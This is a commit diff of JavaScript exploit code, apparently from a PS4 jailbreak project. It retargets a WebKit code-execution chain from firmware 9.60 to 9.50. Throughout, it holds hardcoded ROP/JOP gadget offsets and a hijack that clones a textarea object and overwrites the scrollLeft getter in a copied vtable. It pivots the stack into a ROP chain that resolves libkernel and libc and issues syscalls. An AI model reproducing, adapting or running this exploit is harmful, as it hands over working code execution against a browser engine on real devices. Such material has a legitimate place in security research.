Update
This commit is contained in:
+95
-82
@@ -42,9 +42,7 @@ const url = `${origin}:${port}`;
|
||||
|
||||
const syscall_array = [];
|
||||
|
||||
const offset_func_exec = 0x18;
|
||||
const offset_textarea_impl = 0x18;
|
||||
const offset_js_inline_prop = 0x10;
|
||||
|
||||
// WebKit offsets of imported functions
|
||||
const offset_wk_stack_chk_fail = 0x178;
|
||||
@@ -73,59 +71,50 @@ let libkernel_base = null;
|
||||
// libSceLibcInternal.sprx
|
||||
let libc_base = null;
|
||||
|
||||
// Chain implementation based on Chain803. Replaced offsets that changed
|
||||
// Chain implementation based on Chain800. Replaced offsets that changed
|
||||
// between versions. Replaced gadgets that were missing with new ones that
|
||||
// won't change the API.
|
||||
//
|
||||
|
||||
// gadgets for the JOP chain
|
||||
//
|
||||
// Why these JOP chain gadgets are not named jop1-3 and jop2-5 not jop4-7 is
|
||||
// because jop1-5 was the original chain used by the old implementation of
|
||||
// Chain803. Now the sequence is ta_jop1-3 then to jop2-5.
|
||||
//
|
||||
// When the scrollLeft getter native function is called on PS4 9.60, rsi is the
|
||||
// JS wrapper for the WebCore textarea class.
|
||||
const ta_jop1 = `
|
||||
mov rdi, qword ptr [rsi + 0x18]
|
||||
const jop1 = `
|
||||
mov rdi, qword ptr [rsi + 0x20]
|
||||
mov rax, qword ptr [rdi]
|
||||
call qword ptr [rax + 0xb8]
|
||||
call qword ptr [rax + 0x28]
|
||||
`;
|
||||
// Since the method of code redirection we used is via redirecting a call to
|
||||
// jump to our JOP chain, we have the return address of the caller on entry.
|
||||
//
|
||||
// ta_jop1 pushed another object (via the call instruction) but we want no
|
||||
// extra objects between the return address and the rbp that will be pushed by
|
||||
// jop2 later. So we pop the return address pushed by ta_jop1.
|
||||
// jop1 pushed another object (via the call instruction) but we want no extra
|
||||
// objects between the return address and the rbp that will be pushed by jop3
|
||||
// later. So we pop the return address pushed by jop1.
|
||||
//
|
||||
// This will make pivoting back easy, just "leave; ret".
|
||||
const ta_jop2 = `
|
||||
const jop2 = `
|
||||
pop rsi
|
||||
cmc
|
||||
jmp qword ptr [rax + 0x7c]
|
||||
`;
|
||||
const ta_jop3 = `
|
||||
mov rdi, qword ptr [rax + 8]
|
||||
mov rax, qword ptr [rdi]
|
||||
jmp qword ptr [rax + 0x30]
|
||||
`;
|
||||
// rbp is now pushed, any extra objects pushed by the call instructions can be
|
||||
// ignored
|
||||
const jop2 = `
|
||||
const jop3 = `
|
||||
push rbp
|
||||
mov rbp, rsp
|
||||
mov rax, qword ptr [rdi]
|
||||
call qword ptr [rax + 0x58]
|
||||
`;
|
||||
const jop3 = `
|
||||
const jop4 = `
|
||||
mov rdx, qword ptr [rax + 0x18]
|
||||
mov rax, qword ptr [rdi]
|
||||
call qword ptr [rax + 0x10]
|
||||
`;
|
||||
const jop4 = `
|
||||
const jop5 = `
|
||||
push rdx
|
||||
jmp qword ptr [rax]
|
||||
`;
|
||||
const jop5 = 'pop rsp; ret';
|
||||
const jop6 = 'pop rsp; ret';
|
||||
|
||||
// the ps4 firmware is compiled to use rbp as a frame pointer
|
||||
//
|
||||
@@ -141,6 +130,11 @@ const jop5 = 'pop rsp; ret';
|
||||
// pop rbp
|
||||
const rop_epilogue = 'leave; ret';
|
||||
|
||||
const push_rdx_jmp = `
|
||||
push rdx
|
||||
jmp qword ptr [rax]
|
||||
`;
|
||||
|
||||
const webkit_gadget_offsets = new Map(Object.entries({
|
||||
'pop rax; ret' : 0x0000000000011c46,
|
||||
'pop rbx; ret' : 0x0000000000013730,
|
||||
@@ -167,25 +161,23 @@ const webkit_gadget_offsets = new Map(Object.entries({
|
||||
'neg rax; and rax, rcx; ret' : 0x00000000014d2af4,
|
||||
'adc esi, esi; ret' : 0x00000000004fd968,
|
||||
'add rax, rdx; ret' : 0x00000000006d1a88,
|
||||
'push rsp; jmp qword ptr [rax]' : 0x0000000002c80f76,
|
||||
'add rcx, rsi; and rdx, rcx; or rax, rdx; ret' : 0x00000000008e6b06,
|
||||
'pop rsi ; cmc ; jmp qword ptr [rax + 0x7c]' : 0x0000000002bf3741,
|
||||
|
||||
'mov qword ptr [rdi], rsi; ret' : 0x00000000000b2350,
|
||||
'mov rax, qword ptr [rax]; ret' : 0x000000000000c671,
|
||||
'mov qword ptr [rdi], rax; ret' : 0x0000000000010c07,
|
||||
'mov dword ptr [rdi], eax; ret' : 0x00000000000071d0,
|
||||
'mov rdx, rcx; ret' : 0x0000000000b9cb04,
|
||||
'mov qword ptr [rsi], rcx; ret' : 0x000000000012a5ca,
|
||||
|
||||
[jop2] : 0x00000000001a75a0,
|
||||
[jop3] : 0x000000000035fc94,
|
||||
[jop4] : 0x00000000002b7a9c,
|
||||
[jop5] : 0x00000000000253e0,
|
||||
[push_rdx_jmp] : 0x00000000002b7a9c,
|
||||
|
||||
[ta_jop1] : 0x000000000060fd94,
|
||||
[ta_jop2] : 0x0000000002bf3741,
|
||||
[ta_jop3] : 0x000000000181e974,
|
||||
[jop1] : 0x0000000000d01378,
|
||||
[jop2] : 0x0000000002bf3741,
|
||||
[jop3] : 0x00000000001a75a0,
|
||||
[jop4] : 0x000000000035fc94,
|
||||
[jop5] : 0x00000000002b7a9c,
|
||||
[jop6] : 0x00000000000253e0,
|
||||
}));
|
||||
|
||||
const libc_gadget_offsets = new Map(Object.entries({
|
||||
@@ -207,15 +199,11 @@ function get_bases() {
|
||||
libwebkit_base
|
||||
.add(offset_wk_stack_chk_fail)
|
||||
;
|
||||
const stack_chk_fail_addr = resolve_import(
|
||||
stack_chk_fail_import,
|
||||
true,
|
||||
true
|
||||
);
|
||||
const stack_chk_fail_addr = resolve_import(stack_chk_fail_import);
|
||||
const libkernel_base = find_base(stack_chk_fail_addr, true, true);
|
||||
|
||||
const memcpy_import = libwebkit_base.add(offset_wk_memcpy);
|
||||
const memcpy_addr = resolve_import(memcpy_import, true, true);
|
||||
const memcpy_addr = resolve_import(memcpy_import);
|
||||
const libc_base = find_base(memcpy_addr, true, true);
|
||||
|
||||
return [
|
||||
@@ -231,7 +219,7 @@ function init_gadget_map(gadget_map, offset_map, base_addr) {
|
||||
}
|
||||
}
|
||||
|
||||
class Chain960Base extends ChainBase {
|
||||
class Chain950Base extends ChainBase {
|
||||
constructor() {
|
||||
super();
|
||||
|
||||
@@ -240,8 +228,8 @@ class Chain960Base extends ChainBase {
|
||||
this.flag = new Uint8Array(8);
|
||||
this.flag_addr = get_view_vector(this.flag);
|
||||
this.jmp_target = new Uint8Array(0x100);
|
||||
rw.write64(this.jmp_target, 0x7c, this.get_gadget(jop4));
|
||||
rw.write64(this.jmp_target, 0, this.get_gadget(jop5));
|
||||
rw.write64(this.jmp_target, 0x7c, this.get_gadget(push_rdx_jmp));
|
||||
rw.write64(this.jmp_target, 0, this.get_gadget('pop rsp; ret'));
|
||||
|
||||
// for save/restore
|
||||
this.is_saved = false;
|
||||
@@ -460,6 +448,8 @@ class Chain960Base extends ChainBase {
|
||||
this.push_end();
|
||||
this.run();
|
||||
this.clean();
|
||||
|
||||
return this.return_value;
|
||||
}
|
||||
|
||||
syscall(...args) {
|
||||
@@ -471,49 +461,79 @@ class Chain960Base extends ChainBase {
|
||||
this.push_end();
|
||||
this.run();
|
||||
this.clean();
|
||||
|
||||
return this.return_value;
|
||||
}
|
||||
}
|
||||
|
||||
// helper object for ROP
|
||||
const rop_ta = document.createElement('textarea');
|
||||
|
||||
// Chain for PS4 9.60
|
||||
class Chain960 extends Chain960Base {
|
||||
class Chain950 extends Chain950Base {
|
||||
constructor() {
|
||||
super();
|
||||
|
||||
const textarea = document.createElement('textarea');
|
||||
this.textarea = textarea;
|
||||
const js_ta = mem.addrof(textarea);
|
||||
const webcore_ta = js_ta.readp(0x18);
|
||||
this.webcore_ta = webcore_ta;
|
||||
// Only offset 0x1c8 will be used when calling the scrollLeft getter
|
||||
// native function (our tests don't crash).
|
||||
// sizeof JSC:JSObject, the JSCell + the butterfly field
|
||||
const js_size = 0x10;
|
||||
// sizeof WebCore::JSHTMLTextAreaElement, subclass of JSObject
|
||||
const js_ta_size = 0x20;
|
||||
// start of the array of inline properties (JSValues)
|
||||
const offset_js_inline_prop = 0x10;
|
||||
// Sizes may vary between webkit versions so we just assume a size
|
||||
// that we think is large enough for all of them.
|
||||
const vtable_size = 0x1000;
|
||||
const webcore_ta_size = 0x180;
|
||||
|
||||
const ta_clone = {};
|
||||
this.ta_clone = ta_clone;
|
||||
const clone_p = mem.addrof(ta_clone);
|
||||
const ta_p = mem.addrof(rop_ta);
|
||||
|
||||
for (let i = js_size; i < js_ta_size; i += 8) {
|
||||
clone_p.write64(i, ta_p.read64(i));
|
||||
}
|
||||
|
||||
const webcore_ta = ta_p.readp(offset_textarea_impl);
|
||||
const m_wrapped_clone = new Uint8Array(
|
||||
make_buffer(webcore_ta, webcore_ta_size)
|
||||
);
|
||||
this.m_wrapped_clone = m_wrapped_clone;
|
||||
|
||||
// Replicate the vtable as much as possible or else the garbage
|
||||
// collector will crash. It uses functions from the vtable.
|
||||
//
|
||||
// This implies we don't need to know the exact size of the vtable and
|
||||
// try to copy it as much as possible to avoid a crash due to missing
|
||||
// vtable entries.
|
||||
//
|
||||
// So the rest of the vtable are free for our use.
|
||||
const vtable = new Uint8Array(0x200);
|
||||
const old_vtable_p = webcore_ta.readp(0);
|
||||
this.vtable = vtable;
|
||||
this.old_vtable_p = old_vtable_p;
|
||||
// There is no need to restore the original vtable pointer later since
|
||||
// it points to a copy with only offset 0x1b8 changed. The scrollLeft
|
||||
// getter is not used by the GC.
|
||||
const vtable_clone = new Uint8Array(
|
||||
make_buffer(webcore_ta.readp(0), vtable_size)
|
||||
);
|
||||
this.vtable_clone = vtable_clone
|
||||
|
||||
clone_p.write64(
|
||||
offset_textarea_impl,
|
||||
get_view_vector(m_wrapped_clone),
|
||||
);
|
||||
rw.write64(m_wrapped_clone, 0, get_view_vector(vtable_clone));
|
||||
|
||||
clone_p.write64(0, ta_p.read64(0));
|
||||
|
||||
// 0x1b8 is the offset of the scrollLeft getter native function
|
||||
rw.write64(vtable, 0x1b8, this.get_gadget(ta_jop1));
|
||||
rw.write64(vtable, 0xb8, this.get_gadget(ta_jop2));
|
||||
rw.write64(vtable, 0x7c, this.get_gadget(ta_jop3));
|
||||
rw.write64(vtable_clone, 0x1b8, this.get_gadget(jop1));
|
||||
|
||||
// for the JOP chain
|
||||
const rax_ptrs = new Uint8Array(0x100);
|
||||
const rax_ptrs_p = get_view_vector(rax_ptrs);
|
||||
this.rax_ptrs = rax_ptrs;
|
||||
|
||||
//rw.write64(rax_ptrs, 8, this.get_gadget(jop2));
|
||||
rw.write64(rax_ptrs, 0x30, this.get_gadget(jop2));
|
||||
rw.write64(rax_ptrs, 0x58, this.get_gadget(jop3));
|
||||
rw.write64(rax_ptrs, 0x10, this.get_gadget(jop4));
|
||||
rw.write64(rax_ptrs, 0, this.get_gadget(jop5));
|
||||
rw.write64(rax_ptrs, 0x28, this.get_gadget(jop2));
|
||||
rw.write64(rax_ptrs, 0x7c, this.get_gadget(jop3));
|
||||
rw.write64(rax_ptrs, 0x58, this.get_gadget(jop4));
|
||||
rw.write64(rax_ptrs, 0x10, this.get_gadget(jop5));
|
||||
rw.write64(rax_ptrs, 0, this.get_gadget(jop6));
|
||||
// value to pivot rsp to
|
||||
rw.write64(this.rax_ptrs, 0x18, this.stack_addr);
|
||||
rw.write64(rax_ptrs, 0x18, this.stack_addr);
|
||||
|
||||
const jop_buffer = new Uint8Array(8);
|
||||
const jop_buffer_p = get_view_vector(jop_buffer);
|
||||
@@ -521,7 +541,7 @@ class Chain960 extends Chain960Base {
|
||||
|
||||
rw.write64(jop_buffer, 0, rax_ptrs_p);
|
||||
|
||||
rw.write64(vtable, 8, jop_buffer_p);
|
||||
clone_p.write64(offset_js_inline_prop + 8*2, jop_buffer_p);
|
||||
}
|
||||
|
||||
run() {
|
||||
@@ -529,15 +549,11 @@ class Chain960 extends Chain960Base {
|
||||
this.check_is_empty();
|
||||
this.check_is_branching();
|
||||
|
||||
// change vtable
|
||||
this.webcore_ta.write64(0, get_view_vector(this.vtable));
|
||||
// jump to JOP chain
|
||||
this.textarea.scrollLeft;
|
||||
// restore vtable
|
||||
this.webcore_ta.write64(0, this.old_vtable_p);
|
||||
}
|
||||
this.ta_clone.scrollLeft;
|
||||
}
|
||||
}
|
||||
const Chain = Chain960;
|
||||
const Chain = Chain950;
|
||||
|
||||
function init(Chain) {
|
||||
[libwebkit_base, libkernel_base, libc_base] = get_bases();
|
||||
@@ -657,13 +673,10 @@ function test_rop(Chain) {
|
||||
const magic = 0x4b435546;
|
||||
rw.write32(chain._return_value, 0, magic);
|
||||
|
||||
chain.syscall('getuid');
|
||||
const res = chain.syscall('getuid');
|
||||
|
||||
debug_log(`return value: ${chain.return_value}`);
|
||||
if (chain.return_value.low() === magic) {
|
||||
debug_log(`return value: ${res}`);
|
||||
if (res.eq(magic)) {
|
||||
die('syscall getuid failed');
|
||||
}
|
||||
}
|
||||
|
||||
debug_log('Chain960');
|
||||
test_rop(Chain);
|
||||
|
||||
Reference in New Issue
Block a user